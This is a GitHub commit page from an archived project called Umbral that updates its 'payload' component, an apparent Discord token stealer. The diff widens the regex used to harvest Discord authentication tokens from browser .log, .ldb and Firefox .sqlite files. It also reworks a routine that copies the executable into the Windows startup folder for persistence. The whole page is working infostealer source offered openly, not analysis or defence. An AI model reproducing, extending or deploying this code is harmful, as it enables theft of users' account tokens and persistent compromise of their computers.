Skip to content
This repository has been archived by the owner on Mar 2, 2024. It is now read-only.

Commit

Permalink
Fixed startup and updated token regex.
Browse files Browse the repository at this point in the history
  • Loading branch information
Blank-c committed May 19, 2023
1 parent ac0b8ee commit 00e0b5f
Show file tree
Hide file tree
Showing 3 changed files with 11 additions and 14 deletions.
4 changes: 2 additions & 2 deletions Umbral.payload/Discord/TokenStealer.cs
Original file line number Diff line number Diff line change
Expand Up @@ -95,7 +95,7 @@ static private async Task Run()
static private async Task MethodA(string path)
{
string[] allowedExtentions = { ".log", ".ldb" };
Regex regex = new Regex(@"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled);
Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled);

var processes = new List<Task>();
var obtainedTokens = new List<string>();
Expand Down Expand Up @@ -227,7 +227,7 @@ static private async Task FireFoxMethod(string path)
{
var processes = new List<Task>();
var obtainedTokens = new List<string>();
Regex regex = new Regex(@"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled);
Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled);

string[] files = await Task.Run(() => Directory.GetFiles(path, "*.sqlite", SearchOption.AllDirectories));

Expand Down
4 changes: 2 additions & 2 deletions Umbral.payload/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -17,9 +17,9 @@

namespace Umbral.payload
{
internal class Program
internal static class Program
{
static private async Task Main(string[] args)
static private async Task Main()
{
#if DEBUG
MessageBox.Show("Build payload under RELEASE mode to work.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
Expand Down
17 changes: 7 additions & 10 deletions Umbral.payload/Utilities/Common.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Reflection;
Expand Down Expand Up @@ -36,15 +35,14 @@ internal static bool IsInStartup()
{
try
{
string currentPath = Assembly.GetCallingAssembly().Location;
string directoryPath = Path.GetDirectoryName(currentPath);
string[] startupPath =
string currentPath = Assembly.GetExecutingAssembly().Location;
string currentDirectoryPath = Path.GetDirectoryName(currentPath);
string[] startupPaths =
{
Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup),
Environment.GetFolderPath(Environment.SpecialFolder.Startup)
};

return startupPath.Contains(directoryPath);
return Array.Exists(startupPaths, e => e.Equals(currentDirectoryPath, StringComparison.OrdinalIgnoreCase));
}
catch
{
Expand All @@ -65,7 +63,7 @@ internal static string GenerateRandomString(int length)
return result.ToString();
}

internal static bool PutInStartup()
internal static void PutInStartup()
{
string currentPath = Assembly.GetExecutingAssembly().Location;
string startupDir = Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup);
Expand All @@ -74,11 +72,10 @@ internal static bool PutInStartup()
try
{
File.Copy(currentPath, newFilePath, true);
return true;
}
catch
catch (Exception e)
{
return false;
Console.WriteLine(e);
}
}

Expand Down

0 comments on commit 00e0b5f

Please sign in to comment.